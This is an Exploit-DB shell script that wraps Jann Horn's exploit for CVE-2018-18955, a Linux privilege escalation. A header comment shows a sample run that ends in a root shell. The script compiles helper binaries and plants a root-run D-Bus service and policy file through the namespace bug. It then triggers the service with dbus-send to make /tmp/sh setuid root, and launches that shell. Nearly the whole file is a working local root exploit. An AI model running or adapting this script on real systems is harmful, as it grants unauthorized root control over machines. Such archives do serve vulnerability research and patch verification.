148 lines
No EOL
3.9 KiB
Bash
Executable file
148 lines
No EOL
3.9 KiB
Bash
Executable file
#!/bin/sh
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#
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# EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47165.zip
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#
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# wrapper for Jann Horn's exploit for CVE-2018-18955
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# uses dbus service technique
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# ---
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# test@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955$ ./exploit.dbus.sh
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# [*] Compiling...
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# [*] Creating /usr/share/dbus-1/system-services/org.subuid.Service.service...
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# [.] starting
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# [.] setting up namespace
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# [~] done, namespace sandbox set up
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# [.] mapping subordinate ids
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# [.] subuid: 165536
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# [.] subgid: 165536
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# [~] done, mapped subordinate ids
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# [.] executing subshell
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# [*] Creating /etc/dbus-1/system.d/org.subuid.Service.conf...
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# [.] starting
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# [.] setting up namespace
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# [~] done, namespace sandbox set up
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# [.] mapping subordinate ids
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# [.] subuid: 165536
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# [.] subgid: 165536
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# [~] done, mapped subordinate ids
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# [.] executing subshell
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# [*] Launching dbus service...
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# Error org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
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# [+] Success:
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# -rwsrwxr-x 1 root root 8384 Jan 4 18:31 /tmp/sh
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# [*] Cleaning up...
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# [*] Launching root shell: /tmp/sh
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# root@linux-mint-19-2:~/kernel-exploits/CVE-2018-18955# id
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# uid=0(root) gid=0(root) groups=0(root),1001(test)
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rootshell="/tmp/sh"
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service="org.subuid.Service"
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command_exists() {
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command -v "${1}" >/dev/null 2>/dev/null
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}
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if ! command_exists gcc; then
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echo '[-] gcc is not installed'
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exit 1
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fi
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if ! command_exists /usr/bin/dbus-send; then
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echo '[-] dbus-send is not installed'
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exit 1
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fi
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if ! command_exists /usr/bin/newuidmap; then
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echo '[-] newuidmap is not installed'
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exit 1
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fi
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if ! command_exists /usr/bin/newgidmap; then
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echo '[-] newgidmap is not installed'
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exit 1
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fi
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if ! test -w .; then
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echo '[-] working directory is not writable'
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exit 1
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fi
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echo "[*] Compiling..."
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if ! gcc subuid_shell.c -o subuid_shell; then
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echo 'Compiling subuid_shell.c failed'
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exit 1
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fi
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if ! gcc subshell.c -o subshell; then
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echo 'Compiling gcc_subshell.c failed'
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exit 1
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fi
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if ! gcc rootshell.c -o "${rootshell}"; then
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echo 'Compiling rootshell.c failed'
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exit 1
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fi
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echo "[*] Creating /usr/share/dbus-1/system-services/${service}.service..."
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cat << EOF > "${service}.service"
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[D-BUS Service]
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Name=${service}
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Exec=/bin/sh -c "/bin/chown root:root ${rootshell};/bin/chmod u+s ${rootshell}"
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User=root
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EOF
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echo "cp ${service}.service /usr/share/dbus-1/system-services/${service}.service" | ./subuid_shell ./subshell
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if ! test -r "/usr/share/dbus-1/system-services/${service}.service"; then
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echo '[-] Failed'
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/bin/rm "${rootshell}"
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exit 1
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fi
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echo "[*] Creating /etc/dbus-1/system.d/${service}.conf..."
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cat << EOF > "${service}.conf"
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<!DOCTYPE busconfig PUBLIC
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"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
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"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
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<busconfig>
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<policy context="default">
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<allow send_destination="${service}"/>
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</policy>
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</busconfig>
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EOF
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echo "cp ${service}.conf /etc/dbus-1/system.d/${service}.conf" | ./subuid_shell ./subshell
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if ! test -r "/etc/dbus-1/system.d/${service}.conf"; then
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echo '[-] Failed'
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/bin/rm "${rootshell}"
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exit 1
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fi
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echo "[*] Launching dbus service..."
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/usr/bin/dbus-send --system --print-reply --dest="${service}" --type=method_call --reply-timeout=1 / "${service}"
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sleep 1
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if ! test -u "${rootshell}"; then
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echo '[-] Failed'
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/bin/rm "${rootshell}"
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exit 1
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fi
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echo '[+] Success:'
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/bin/ls -la "${rootshell}"
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echo '[*] Cleaning up...'
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/bin/rm subuid_shell
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/bin/rm subshell
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/bin/rm "${service}.conf"
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/bin/rm "${service}.service"
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echo "/bin/rm /usr/share/dbus-1/system-services/${service}.service" | $rootshell
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echo "/bin/rm /etc/dbus-1/system.d/${service}.conf" | $rootshell
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echo "[*] Launching root shell: ${rootshell}"
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$rootshell |